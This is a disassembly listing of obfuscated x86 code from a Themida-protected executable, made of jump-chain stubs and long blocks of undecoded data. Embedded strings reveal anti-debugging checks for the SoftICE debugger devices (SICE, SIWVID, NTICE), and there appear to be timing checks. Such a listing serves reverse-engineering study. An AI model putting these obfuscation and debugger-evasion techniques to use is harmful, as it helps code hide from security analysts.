loc_575BC5:				; CODE XREF: Themida_:00569875j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		mov	ebx, 0A4D5CB8h
		sub	edx, 66025875h
		sub	edx, ebx
		add	edx, 66025875h
		pop	ebx
		jmp	loc_56159E
; ---------------------------------------------------------------------------
		dw 835Ah
		dd 0C68104C4h, 158325B0h, 0EE81EE29h, 158325B0h, 4EC81h
		dd 34890000h, 5E08E924h, 148BFFFFh, 0E0895024h,	405h, 0B6C3E900h
		dd 0BA52FFFEh, 5A833407h, 95685542h, 89000054h,	8D68240Ch
		dd 89000054h, 52E92434h
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575C33:				; CODE XREF: Themida_:005707DAj
		push	eax
		mov	eax, 680737D0h
		jmp	loc_563BAD
; ---------------------------------------------------------------------------
		dw 58h
		dd 0C8B66EBh, 2C48324h,	5B66D800h, 0FED220E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_575C51:				; CODE XREF: Themida_:005638A1j
		sub	dword ptr [esp], 11D47232h
		jmp	loc_56D91F
; ---------------------------------------------------------------------------
		db 58h,	83h, 0C4h
		dd 78EB8104h, 290B8F6Bh, 78C381C3h, 810B8F6Bh, 0FC257CEBh
		dd 0BB53501Ch, 64475934h, 0D3F7DBF7h, 6DCECB81h, 0E3C17002h
		dd 0EFF38102h, 89DF14E5h, 0C0835BD8h, 4E0C101h,	104868h
		dd 0BFF8E900h, 248BFFFFh, 4EC8124h, 89000000h, 0C4E92414h
		dd 0FFFFFF68h, 669D1C77h, 4116658h, 52E99C24h, 1FFFEAAh
		dd 0B95CE9E8h, 2EB8FFFEh, 0E91B8F0Ch, 0FFFF4A70h, 240C8B66h
		dd 0FEC411E9h, 5FFD21FFh, 0BF57D5F7h, 0FFFFFFFFh, 0A2E9FD29h
		dd 51FFFF99h, 0FF0A16E9h, 4C483FFh, 405h, 4BA5200h, 29000000h
		dd 24148BD0h, 4C481h, 4870000h,	24248B24h, 0BE243489h
		dd 2F7354BCh, 4247431h,	0FFCA17E9h, 3D685CFFh, 0E900002Bh
		dd 0FFFFCBADh, 69E9D830h, 0E9FFFFDFh, 0FFFEA9D9h, 81240C8Bh
		dd 4C4h, 0A034E900h, 0BA66FFFFh, 1664B92h, 665A66D0h, 57242C8Bh
		dd 0E950E789h, 0FFFECCFDh, 81E9F301h, 68FFFF60h, 0F5F8186Dh
		dd 5EF2315Eh, 0FF0120E9h, 243C87FFh, 6624248Bh,	57240C8Bh
		dd 0C781E789h, 4, 8704EF83h, 0E95C243Ch, 0FFFEEF21h, 4D67E781h
		dd 55532A68h, 0B05A3BDh, 81DDF724h, 527FBECDh, 7EDC171h
		dd 0FF2DFDE9h, 24148BFFh, 0AC6AE950h, 248BFFFFh, 243C8924h
		dd 8C68E789h, 89000050h, 68552404h, 30656C9Ch, 0D3F5815Dh
		dd 81320F7Fh, 0EDD4C3EDh, 5DE889E8h, 1604B70Dh,	7B216808h
		dd 80E90000h, 89FFFFCEh, 0C7B9240Ch, 0F747944Ah, 48E981D9h
		dd 812A7331h, 809E8EF1h, 0E9CB01E5h, 0FFFF3C1Ah
; ---------------------------------------------------------------------------


loc_575E0C:				; CODE XREF: Themida_:0056E4E3j
		pop	ecx
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ecx
		push	edi
		jmp	loc_5655B6
; ---------------------------------------------------------------------------


loc_575E28:				; CODE XREF: Themida_:005623A8j
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		push	edi
		mov	edi, 336370BDh
		jmp	loc_565447
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 5
		dd 57DED81h, 0E931592Dh, 0FF4795E9h, 45B66FFh, 2CE80039h
		dd 0C8285939h, 5F04C82Ch, 8B2434FFh, 0C483240Ch, 0C865E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575E6A:				; CODE XREF: Themida_:0056ADE1j
		push	552Dh
		jmp	loc_56DCDE
; ---------------------------------------------------------------------------
		dd 6BCDBB53h, 0BE566BA8h, 20ABC65Bh, 15EF331h, 0F0215BDEh
		dd 8E0C15Eh, 0FFFFFF2Dh, 698435FFh, 0C12910FEh,	0B853E958h
		dd 8358FFFFh, 0F03104C4h, 8124348Bh, 4C4h, 28EB8100h, 810E5E6Eh
		dd 0A93F53EBh, 34E95068h, 89FFFF47h, 0E952241Ch, 0FFFF0F90h
		dd 0E999C680h, 0FFFF67BFh, 56240C8Bh, 0C681E689h, 4, 148E9h
		db 0
; ---------------------------------------------------------------------------


loc_575EE1:				; CODE XREF: Themida_:0056697Dj
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_56C0D8
; ---------------------------------------------------------------------------
		dd 2DE905ADh, 3BE9144Dh, 5AFFFF17h, 81E18951h, 4C1h, 0B9E95000h
		dd 1FFFEA8h, 0D745E9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575F0E:				; CODE XREF: Themida_:0056BA88j
		add	ebx, ebp
		pop	ebp
		jmp	loc_5670D5
; ---------------------------------------------------------------------------
		dw 94B4h
		dd 5866E700h, 972CAD2Ch, 9704F800h, 0E963B551h,	0FFFFFC29h
		dd 0FFED8145h, 81FFFFFFh, 0F50482E5h, 2CED816Eh, 81245628h
		dd 0B048DCC5h, 0B2EB813Ch, 16F8158h, 0B2C381EBh, 0FF6F8158h
		dd 815D2434h, 4C4h, 432EE900h, 0C283FFFFh, 24148704h, 8BF0015Ch
		dd 0EC812434h, 4, 0FEDA61E9h, 2434FFFFh, 0FF3C52E9h, 37E981FFh
		dd 1A90558h, 48B59CEh, 4C3CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575F92:				; CODE XREF: Themida_:005650EAj
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_561898
; ---------------------------------------------------------------------------
		dd 875BD929h, 248B240Ch, 24048924h, 0FEA768E9h,	0D1F75DFFh
		dd 0FEC579E9h, 1DE950FFh, 28FFFFA6h, 526650C3h,	505315B2h
		dd 0E388D488h, 5BDC8858h, 0FEC37EE9h, 243487FFh, 8324148Bh
		dd 0EAC104C4h, 9185E906h, 0C781FFFFh, 16ED3304h, 0CBC38159h
		dd 12ABB6Dh, 0CBEB81FBh, 8B2ABB6Dh, 0C481243Ch,	4, 0E930FF66h
		dd 0FFFEA70Dh
; ---------------------------------------------------------------------------


loc_576008:				; CODE XREF: Themida_:00566071j
		push	5F2Dh
		mov	[esp], edx
		push	esi
		mov	esi, 1EF61374h
		mov	edx, esi
		pop	esi
		push	ebx
		mov	ebx, 51792BF8h
		xor	edx, ebx
		pop	ebx
		mov	ebx, edx
		jmp	loc_5634B8
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 87000000h, 6CE92434h, 33FFFF1Fh, 14312414h, 24143324h
		dd 0FF5899E9h, 5FF989FFh, 175DC981h, 0C18117C1h, 5D869806h
		dd 0F81E981h, 0EE81757Eh, 3CEB6150h, 0FFA872E9h, 0C3815FFFh
		dd 5CA3225Ch, 29E9F301h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_576073:				; CODE XREF: Themida_:00561F90j
		pop	esp
		mov	ecx, 0BF4AACD8h
		add	ecx, 38CE4566h
		add	ecx, ebp
		jmp	loc_5721CD
; ---------------------------------------------------------------------------


loc_576086:				; CODE XREF: Themida_:0056C44Dj
		push	edx
		mov	edx, 3A9214BDh
		jmp	loc_56A60C
; ---------------------------------------------------------------------------
		db 1, 0C6h, 58h
		dd 0FDE9F501h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57609B:				; CODE XREF: Themida_:00565B9Ej
		pop	ecx
		jmp	loc_56637D
; ---------------------------------------------------------------------------
		db 0BDh, 0AEh, 15h
		dd 0EE017F12h, 44E9585Dh, 89FFFF9Ch, 9C502414h,	0FEA65CE9h
		dd 88E981FFh, 5A7EAE76h, 0FEE957E9h, 0C8B66FFh,	0EC835324h
		dd 24248904h, 4240483h,	81241C8Bh, 4ECh, 24148900h, 0C281E289h
		dd 4, 0FEF748E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5760ED:				; CODE XREF: Themida_:005709F4j
		add	esp, 4
		jmp	loc_5723C3
; ---------------------------------------------------------------------------


loc_5760F5:				; CODE XREF: Themida_:0056D2EBj
		pop	esp
		add	ebp, 0FE2795E8h
		push	esi
		jmp	loc_5647BB
; ---------------------------------------------------------------------------


loc_576102:				; CODE XREF: Themida_:00563546j
		push	57DEh
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_563D62
; ---------------------------------------------------------------------------
		db 5Ah
		dd 822FE981h, 0FDE9B6B7h, 66FFFF31h, 0B5240C89h, 6DD9E93Dh
		dd 8956FFFFh, 4BA52E6h,	1000000h, 0EE815AD6h, 4, 5C243487h
		dd 0FF243C89h, 5F042474h, 0E924048Fh, 0FFFF8C60h, 43E9h
		dd 9CC93500h, 4553554Ch, 2E323352h, 6C6C64h, 41564441h
		dd 32334950h, 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D7006C6Ch
		dd 3000907h, 2001A00h, 23001300h, 22100h, 3 dup(0)
		dd 865E9h, 0A5086800h, 0F3E9062Ch, 68FFFDD9h, 62CA59Dh
		dd 0FDD9E9E9h, 0A6AC68FFh, 0DFE9062Ch, 68FFFDD9h, 62CA7C9h
		dd 0FDD9D5E9h, 0A84468FFh, 0CBE9062Ch, 68FFFDD9h, 62CA947h
		dd 0FDD9C1E9h, 0A9B368FFh, 0B7E9062Ch, 0C4FFFDD9h, 0E69E3824h
		dd 1B9531Bh, 1ED67002h,	3EF690E8h, 3814AEC6h, 5A1AEA6Eh
		dd 79FD08C0h, 9AC027DFh, 0B6BA4800h, 281D361Ch,	289C210Dh
		dd 164D1DB2h, 7EC71C8Ah, 5C18DACFh, 2E992445h, 88429075h
		dd 845201DFh, 6F0AF480h, 0A4ED4278h, 8D7846F5h,	918DF2E9h
		dd 1604359Bh, 0D988C1ABh, 499551E4h, 0EF5383FCh, 55353438h
		dd 0BBF1E853h, 0BF6E1D66h, 0D71A1B10h, 329DFC49h, 0A1AAD63Bh
		dd 80EBFE1Fh, 71FF03D1h, 8DE31FD7h, 49E8D887h, 0CB177144h
		dd 6DCh, 9A3B92Fh, 24BEB051h, 41DB976Ch, 61FB7D89h, 7F195BA9h
		dd 0AF55D9A3h, 92732BC5h, 55924AE4h, 4FB36B05h,	88A18721h
		dd 9C22A293h, 0B0801528h, 21798856h, 5F6E4019h,	9B85967Dh
		dd 37CB0900h, 0AAFF4F39h, 6F67CEC3h, 30582270h,	7D8E9FD3h
		dd 0D1F9D9CEh, 4BB62444h, 8419CE9Ch, 4AE4F581h,	5E1D02B1h
		dd 16762162h, 0D6053025h, 4FBA289Bh, 0FDF46681h, 483228BFh
		dd 0B1C3410Fh, 0F7352CC7h, 0CD5A910Bh, 9314604Dh, 2ED7C82h
		dd 25C6A86h, 647B6h, 0E4E9A00h,	2945BC74h, 462CD78Fh, 6612F4ACh
		dd 84F014CCh, 0C0440EEAh, 0DE963044h, 0FDB54F27h, 1ED670EAh
		dd 0CF28CE4h, 2237FEF3h, 0F388289Ch, 0A5CB3723h, 149F63BBh
		dd 42F3E8F2h, 75226F7Dh, 0FEE8F90Ah, 7A665981h,	0D2E70A50h
		dd 5D80h, 0CB37B800h, 56390BA5h, 0A166C671h, 6D40387h
		dd 1A7F76FEh, 226FE91Fh, 93422ED4h, 0AEA733AEh,	0FDF4DDC1h
		dd 0D1EE43F3h, 0D7B8FC6Fh, 63511E1Dh, 237B730h,	3C31E0F1h
		dd 2445451Bh, 0D3A5612Fh, 0E5574EE9h, 0EAFDCB7Ah, 0C91ED670h
		dd 5D4713D4h, 3402B1C2h, 55AFA6D2h, 59B09h, 0CB374700h
		dd 4A5BFFE8h, 83782760h, 226F7DB2h, 6DA39A05h, 2B20CF18h
		dd 24455043h, 0E5CA79E4h, 0BCEEC521h, 0F7947966h, 0E9D776A4h
		dd 0B56D776Eh, 0D989234Dh, 0F1697E84h, 893C31E0h, 4E2A6E85h
		dd 81E55045h, 6FDA2275h, 6E1AF5Eh, 0E502BA54h, 0CF338B75h
		dd 455622E4h, 5F8D343Fh, 6FBB1564h, 538h, 65FF5D8Bh, 801A54ADh
		dd 9D373BC8h, 0BD5721E5h, 0DB75FF05h, 53B135FFh, 36CF8721h
		dd 0F9EEA640h, 0F30FC761h, 0E4FDE37Dh, 9C2346EFh, 14E47928h
		dd 0BBA5CB37h, 2652B482h, 5F11F12Fh, 0DDD0F875h, 6F7F4EE0h
		dd 4D806422h, 79D2E710h, 241B59ABh, 0FFFEF213h,	0A7564BFFh
		dd 614B2DD9h, 7D64D1C6h, 0F05B226Fh, 9990E022h,	0DFC9A75Bh
		dd 42F13A8Fh, 456E594Dh, 59F35E24h, 191C11C0h, 0D228998Fh
		dd 0D33E4030h, 851A6DCh, 5AC26459h, 8CF72A6Fh, 0A31723A2h
		dd 0A9D9226Fh, 3000CAB6h, 83D0D2E7h, 8000001h, 0C71C8A16h
		dd 2B20CF7Eh, 226F7D0Ah, 0F86285ADh, 6B62730Eh,	5B9B574Ch
		dd 0A9142445h, 87C70BF0h, 4FA401DFh, 0DAA85706h, 0C8634D0Dh
		dd 9AB26CD1h, 7C4A0435h, 6500EA86h, 0F066C97h, 969F949Dh
		dd 29FC4995h, 73C3ADBEh, 3126D51Eh, 0FE1F5F4Fh,	28F6A510h
		dd 492BD9DAh, 19B3C45Fh, 0BCFBA161h, 67E47FDFh,	6C0EAB5Fh
		dd 1186687h, 0FD93EAF0h, 5CB64449h, 41B10h, 0E27A6E00h
		dd 0FD719048h, 1A58AB63h, 3A3EC880h, 581CE8A0h,	9418E2BEh
		dd 0B26A0470h, 0D1892353h, 0F2AA4416h, 0E0C66010h, 2463D2C7h
		dd 0BF54289Ch, 0A1EA3FEFh, 0D93DFDF2h, 17822443h, 504D9A68h
		dd 3ED9C397h, 0B1A8432Dh, 9923C492h, 9C2191A4h,	0AABB2628h
		dd 9ED82DFBh, 2E59DA7h,	240E4C9Bh, 293A36CCh, 6B9B6918h
		dd 9188230Dh, 4D23DF37h, 862C4047h, 63AF096Ah, 3A0h, 0CD67F5F3h
		dd 0E882EC15h, 59FD330h, 25BFB94Dh, 43DD976Dh, 0EB199D67h
		dd 0CE37EF89h, 91560EA8h, 8B772FC9h, 4C654BE5h,	9C24DE57h
		dd 7C4CE128h, 19E8CB37h, 0BFD06B55h, 0B2C24210h, 0DC362DC8h
		dd 8F27E84h, 7370638Bh,	226F7EBBh, 9A8F3EEDh, 226F7F9Bh
		dd 66BAB11Ch, 0D2E71067h, 0FFFD4E6Dh, 0CB37A5FFh, 166BBBA5h
		dd 9B289CF9h, 0F3C1608Eh, 0DB76600Eh, 68261BCAh, 5C24456Eh
		dd 0A97DB8ADh, 0D7422899h, 0C0466EE0h, 2233CEB8h, 8856B688h
		dd 7611FB5Fh, 1D7B207Fh, 0DBD07FC8h, 24455C17h,	0FB7006EBh
		dd 0F2132217h, 39A42899h, 3C5C8554h, 0DD94D345h, 41B5D06Fh
		dd 553AF304h, 90A23CCEh, 0C06FB80Dh, 82BE53CBh,	0FFE954D2h
		dd 62115AAFh, 5CC4136Dh, 0D52C54CCh, 314AF99h, 2FD7A554h
		dd 0CDC45F49h, 4EFD738Fh, 0F6ED8180h, 7F8553ECh, 79700BF5h
		dd 0A3A9C73Bh, 1296CDEEh, 9DB5015Bh, 0F0000002h, 12CA64F8h
		dd 2DE57FEFh, 4A029CD6h, 6A22BCBCh, 6440DA9Ah, 86EE169Ah
		dd 0A5D134ECh, 0C694530Bh, 0E28E742Ch, 54496248h, 289C25E1h
		dd 3F7141D6h, 0FDF2A1EAh, 2443D937h, 0AF5E0D78h, 367B21E1h
		dd 43C30528h, 0CA654F60h, 85295D3h, 2931B66Eh, 0B71BE73Fh
		dd 9BA873C2h, 0E71C4428h, 63697A8Bh, 6A85B338h,	316BB711h
		dd 84000002h, 0A65EF864h, 0C179135Bh, 0DE963042h, 0FEB65028h
		dd 0F8D46E06h, 1A5AAA2Eh, 393DC880h, 5A00E79Fh,	76FA08C0h
		dd 0E8DDF6DCh, 289C264Dh, 3F0DDD72h, 0B97BCDEAh, 68CDA564h
		dd 0FFE42045h, 0FE0FED48h, 7ADA5A4Fh, 70DB2444h, 552D12C1h
		dd 6C984A1Ah, 50807055h, 0E4543FE5h, 1D53AFEDh,	317AD383h
		dd 2733B482h, 89A4CE3Dh, 0A8206B7Dh, 0D281A097h, 7F760204h
		dd 9BCC151Ah, 412B9628h, 0AA591BE9h, 554C28DCh,	0AA7899FBh
		dd 0E5231A5Ah, 0BBB551Fh, 5FD6CBB2h, 60289BCCh,	4035E4F5h
		dd 289BCBEDh, 257D67D2h, 70A993DDh, 0AB5663A2h,	2D3ED9C3h
		dd 20150A43h, 97289BCCh, 0DC241B2Ch, 5B15EDBBh,	0A1DFD671h
		dd 0BD750F61h, 0C8412B45h, 5A4D559Ch, 0CB1E7E84h, 0BC57B63Fh
		dd 1347A06Eh, 1CF6802h,	39776E00h, 65BDA7C9h, 5DEBD59Fh
		dd 0F9618654h, 19EFE202h, 35ED87E9h, 42BBA5CFh,	5521E422h
		dd 84F2136Bh, 0CCBF4F9Ah, 0B5A8B0B3h, 0A3B730FEh, 0DE966EACh
		dd 3F788C44h, 27C2ACC2h, 13D42C16h, 0C0D95D47h,	31191C11h
		dd 769E289Ch, 61FCE68Eh, 46395950h, 4AEBE08Fh, 6D289C31h
		dd 37CD0B02h, 1C793B69h, 0A0B1E2E0h, 0BCB44E06h, 0C82453D2h
		dd 859FA048h, 0F70DDB92h, 0BA48867Dh, 7E680AF9h, 9F38D2E3h
		dd 638433D1h, 61FCE6F7h, 0FCD62C6Ah, 0CF482E07h, 152691E0h
		dd 4331D32Bh, 0CA983959h, 0B8533D1Dh, 0F7AEA1C1h, 0A299DB29h
		dd 3F349E64h, 0E0CF47F6h, 0A92B68E6h, 0B0D2F5Eh, 4434D2A0h
		dd 14AEBF5Ah, 1F59AD7Bh, 5818EA28h, 80C91E6Eh, 0C3E2DCD1h
		dd 3CA7E2A4h, 549DF2A2h, 2726B0A5h, 70DBDCB9h, 9CD42E86h
		dd 0E4B84A02h, 0F0E2756Bh, 321C2DDCh, 38CC08B3h, 92852727h
		dd 902A46BCh, 6E722AD8h, 2EDFBB38h, 0D121CBB0h,	0D3043AFAh
		dd 0F09FD8C2h, 58E93AFBh, 2D127D17h, 66E0D1FFh,	7EBCB320h
		dd 8206F088h, 639F7568h, 0CDA730Dh, 0F9947EFAh,	5E3EC402h
		dd 0B2926EAFh, 80F80E62h, 1CEAFB96h, 907A8BE7h,	344h, 0D62E8200h
		dd 0C1ABB137h, 0EDD79969h, 1E085295h, 4D373FC6h, 7B650FF5h
		dd 0A993E123h, 0D9C3B551h, 6F08281h, 311B53AEh
		db 16h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	29F3h
		mov	[esp], eax
		push	1538h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 62CA473h
		mov	eax, ebp
		pop	ebp
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	151Bh
		mov	[esp], eax
		add	dword ptr [esp], 667D7226h
		pop	dword ptr [ecx+8]
		sub	dword ptr [ecx+8], 667D7226h
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_553B9E
; ---------------------------------------------------------------------------
		dd 9B8A98Ah, 3062CACh, 0C1E0FFC5h, 0CA4B7A5Ah, 0DB2A3E16h
		dd 882B308Ch, 6B0B1362h, 7B6DB4BAh, 165772E1h, 0E87242DCh
		dd 6, 0C497EF1h, 880F3199h, 0
aYaAbQu		db 'Y€È€ÁŸu',0
		align 2
		dw 0D233h
		dd 0BE0A34FFh, 3AEB89D2h, 14E95Bh, 56B90000h, 91D4CB80h
		dd 0A070BB4Eh, 4312F810h, 0B688205Ah, 0F3813624h, 0C71B3E3h
		dd 5608BF66h, 0EBE9F381h, 8E93959h, 62000000h, 0A6DE7A4Dh
		dd 81424068h, 0DD693DF3h, 5FAFBF32h, 1C8954C6h,	0BF0F5711h
		dd 0EA835FC2h, 0F3BF0F04h, 8B08FA81h, 850FFFFFh, 17h, 0E2D5E881h
		dd 24E9432Ch, 44000000h, 3062EC25h, 8F4756C6h, 0B42C013Ah
		dd 0FF7EE9F4h, 0A20AFFFFh, 27551C16h, 0E6935530h, 6964A7D2h
		dd 0E94A26AEh, 8Dh, 31BD8360h, 62A2Bh, 5840Fh, 78E90000h
		dd 6A000000h, 303E8000h, 8850Fh, 6A0000h, 35E946h, 3E800000h
		dd 8850F33h, 6A000000h,	24E94610h, 80000000h, 850F343Eh
		dd 8, 0E946306Ah, 13h, 0F353E80h, 885h,	46406A00h, 2E9h
		dd 80006A00h, 850F203Eh, 12h, 17E80h, 8850Fh, 0C4830000h
		dd 15E908h, 858D0000h, 62A23C1h, 50905090h, 6A243489h
		dd 5195FF00h, 61062A00h, 0C985C6C3h, 4D062A27h,	6EF8C968h
		dd 24048177h, 2CC67DDFh, 334DB5FFh, 858D062Ah, 62A3BBFh
		dd 8589D0FFh, 62A0051h,	0CE8h, 941EAF00h, 22C58C83h, 893B3C68h
		dd 0C08166F8h, 0F95B7E4Fh, 726BC381h, 0BF0F0000h, 1C64BFD2h
		dd 0B70F0000h, 8B338BD6h, 0ACEE81D7h, 0E9386664h, 0Ah
		dd 0E6AB166Bh, 3A6BB97Ah, 0F6814175h, 0B4D863Bh, 0C8D0Fh
		dd 9600000h, 2A0FC19Dh,	0FBB6606h, 0F68161BBh, 4A831319h
		dd 9EC0E881h, 60564B65h, 0BD79B4B9h, 199D8947h,	61062A18h
		dd 0D281038Fh, 40B809A4h, 5004EB83h, 12E8h, 0E8ECEB00h
		dd 0A7B25229h, 0CB1E7C84h, 0BD35411Ah, 8B7D32AEh, 2A18798Dh
		dd 81585906h, 1EFh, 1D850F00h, 66000000h, 0E91962B8h, 30h
		dd 946C69A2h, 0A747FE69h, 702F0003h, 85499974h,	873CF4B4h
		dd 2779958Bh, 56E9062Ah, 0BAFFFFFFh, 997DF1AEh,	9ABE0BE0h
		dd 23972F5h, 20FED821h,	5C5C1EEBh, 49535C2Eh, 5C004543h
		dd 535C2E5Ch, 49565749h, 5C5C0044h, 544E5C2Eh, 454349h
		dd 0BD03C08Bh, 62A2189h, 9319D89h, 0BD83062Ah, 62A2451h
		dd 83097500h, 2A2A89BDh, 19740006h, 0C08B5350h,	40FB8h
		dd 89858900h, 8D062A27h, 2CBB699Dh, 5BD3FF06h, 89BD8358h
		dd 62A2Ah, 53501774h, 40FB8h, 89858900h, 8D062A27h, 2CB8589Dh
		dd 5BD3FF06h, 0F98B6658h, 0D38B6660h, 0A19D8960h, 0BE062A00h
		dd 1A19E0B1h, 12E96161h, 0E8000000h, 4F9F98A0h,	9EAED16Dh
		dd 0E361D49Bh, 40181D6Dh, 89C08B92h, 2A2D91B5h,	0C985C606h
		dd 43062A27h, 20A0BA66h, 1D25DC68h, 8B6660EAh, 0A3BE66C7h
		dd 348161EEh, 934B2024h, 1DB5FF56h, 29062A23h, 2A0365B5h
		dd 0BF858D06h, 8B062A3Bh, 89D0FFD6h, 2A25218Dh,	6EB59006h
		dd 5F515750h, 0B589905Ah, 62A1F75h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 9589F5C3h
		dd 62A037Dh, 0F5CC5868h, 0CE8B66D1h, 28240481h,	292E0A34h
		dd 2A18D995h, 60036A06h, 0F91B05BFh, 0AE95Eh, 84C30000h
		dd 7F353B08h, 0D69E835Eh, 66006A61h, 6A5EF7B9h,	8E0F5003h
		dd 5, 56DA8166h, 0C7815E87h, 15C09DB9h,	4E8h, 0
		dd 0BB6660C0h, 66604795h, 8AE533BAh, 506161F8h,	0AE8h
		dd 8A6D3E00h, 0F00AFA78h, 60C12E0Bh, 5F56E7B5h,	448B5961h
		dd 0A4BE0424h, 8B1E3D83h, 60525000h, 61CF8B66h,	0B966310Fh
		dd 585A8A03h, 4244489h,	0EEC78158h, 8D1C6F12h, 2CAF069Dh
		dd 8E906h, 5430000h, 7C795DE5h,	0B993EFBDh, 3249F384h
		dd 85299350h, 62A2831h,	0BD29D0FFh, 62A1B91h, 37850F40h
		dd 60000003h, 9D19589h,	0B70F062Ah, 0F5861CFh, 387h, 0FA8B6600h
		dd 0F525090h, 28Eh, 0F595700h, 6E931h, 53E00000h, 0BFA3D2AAh
		dd 0B550585Ah, 8D29905Fh, 62A0E5Dh, 11D18D29h, 6A062Ah
		dd 5E8h, 7EE2A500h, 95894434h, 62A1869h, 0C108B959h, 926868CAh
		dd 0E81B58ACh, 0Dh, 488595B2h, 0A0AA89CDh, 9F7AF4CAh, 0BF665771h
		dd 595EA947h, 12243481h, 601B58ACh, 0B96631B2h,	6A61FC57h
		dd 57006A03h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 52C03EFEh, 0EE9h, 9D78C300h, 0CC71D186h
		dd 8F289C1Ah, 5A4A8475h, 0DBDB58Bh, 6A062Ah, 2D918D29h
		dd 36A062Ah, 1895B589h,	0DE68062Ah, 0E989AAA0h,	6, 0C0662F06h
		dd 4819522h, 555F2224h,	0A1CA8036h, 0AF0F9D8Dh,	6A062Ch
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 28F816C3h, 8B93F9F8h, 13E950FBh, 5D000000h, 9A85AF64h
		dd 0C81CBB6Ah, 7F013F0Dh, 110D128Ah, 8193547Bh,	0B3E405F2h
		dd 6AD0FF75h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 3169C355h, 2A2DB1B5h, 850F4006h
		dd 1DAh, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 15h,	5BC35545h, 6A589Eh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 6FF405C3h, 738149FDh
		dd 296012E1h, 2A32919Dh, 7E906h, 1DCC0000h, 0C5FBCA61h
		dd 0E95061A7h, 0Bh, 0B0E9CCEEh,	0DE030509h, 89AB4FCDh
		dd 8B662404h, 89006AF9h, 2A26499Dh, 4E806h, 800000h, 8B660000h
		dd 525050F8h, 0C880Fh, 7E90000h, 0C9000000h, 9D352129h
		dd 310F4A61h, 585AF48Ah, 424448Bh, 4820Fh, 0B1600000h
		dd 8B61B2h, 0DE85660h, 0C9000000h, 8CEB9D67h, 0D5D7F44Dh
		dd 0F66191B1h, 8A535B59h, 896158FAh, 0B9042444h, 50F580FBh
		dd 0D0B70F58h, 0B58B036Ah, 62A06D1h, 0EE9006Ah,	1000000h
		dd 0F3C99C71h, 8E018C7Fh, 987C3E82h, 6A036ABBh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 4E61C350h, 0B771EACBh, 9E89997h, 0B000000h, 413BB4E2h
		dd 3A76CF44h, 1A3DB589h, 0F5F062Ah, 384h, 0CB8B6600h, 4E7BED68h
		dd 0F52504Ch, 81585A31h, 84132404h, 9D8D73B1h, 62CAF1Ah
		dd 8BF78B66h, 2A106995h, 0BF665006h, 1C8946B8h,	458D8B24h
		dd 0E9062A00h, 5, 2AAB7A68h, 66D0FF2Bh,	40767CBAh, 60850Fh
		dd 8F0F0000h, 1Dh, 11E8h, 0A86EF800h, 0DD006133h, 4D3A13B7h
		dd 0CE7C5442h, 0BD8BA4EFh, 62A18D9h, 0BD895859h, 62A02E1h
		dd 23999509h, 6CE9062Ah, 60000001h, 6830Fh, 9D890000h
		dd 62A1069h, 79858960h,	0E9062A18h, 10h, 0F49CA68Ah, 0E2348C24h
		dd 61414EB7h, 221C35C6h, 0D88B6161h, 6A4BF9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 423CC1C3h
		dd 459CCD2Dh, 958B3940h, 62A3219h, 55006A58h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 14E94383h
		dd 27000000h, 8BF6C07Ah, 188A0DD5h, 46FC4B57h, 0ACA562CBh
		dd 0C6D457FBh, 2A27C985h, 68F54306h, 0EF4E9CBAh, 1D243481h
		dd 0F2F38D6h, 18Fh, 0B5FFFC00h,	62A231Dh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 5DC35141h, 0E7D4E15Dh
		dd 19BD29AFh, 8D062A2Eh, 2A3BBF85h, 0EE906h, 9DC50000h
		dd 0B5632F1h, 6346E4A4h, 0E53D147Ah, 9D89D0FFh,	62A2D9Dh
		dd 241C8950h, 8A0BC781h, 0D0FF22D2h, 6E8h, 11A2E700h, 8BBC3EC2h
		dd 2A0E59B5h, 9D8D5E06h, 62A7066h, 32B99523h, 1B8062Ah
		dd 89000000h, 2A078D85h, 9E906h, 0E4430000h, 8D67F9F7h
		dd 0FF6E19C5h, 57006AE3h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0F12AA9D1h, 0E903BFA1h
		dd 7, 58A74630h, 8BCE4165h, 51B58BC1h, 8B062A2Bh, 7E9C0h
